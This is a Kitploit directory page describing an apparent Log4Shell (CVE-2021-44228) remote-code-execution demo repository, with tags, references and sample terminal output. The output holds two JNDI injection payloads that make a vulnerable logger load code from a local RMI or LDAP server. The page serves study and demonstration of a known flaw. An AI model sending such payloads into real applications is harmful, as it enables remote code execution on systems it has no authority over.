Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228-Demo — Apache Log4j2 CVE-2021-44228 RCE Demo with RMI and LDAP | Kitploit
Tools/GitHubGitHub/mzlogin/cve-2021-44228-demo
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access Tool
GitHubmzlogin/cve-2021-44228-demo

CVE-2021-44228-Demo

Apache Log4j2 CVE-2021-44228 RCE Demo with RMI and LDAP

View Repository
234 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-44228-Demo

An example of remotely injecting code via RMI and LDAP using CVE-2021-44228.

root@kitploit:~
Exploit class from RMI Server loaded
Hello, ${jndi:rmi://127.0.0.1:1099/exploit}
Exploit class from LDAP Server loaded
Hello, ${jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit}

RmiServer and LdapServer startup depend on Python3.

References

  • Apache Log4j2 Remote Code Execution Vulnerability Reproduction
  • Log4j High-Risk Vulnerability! Detailed Analysis! First on the Web! and Log4j High-Risk Vulnerability (Supplementary Video)
  • Log4j Lookups
  • Apache Log4j2 From RCE to RC1 Bypass
  • tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
  • PSA: Log4Shell and the current state of JNDI injection
Download Tool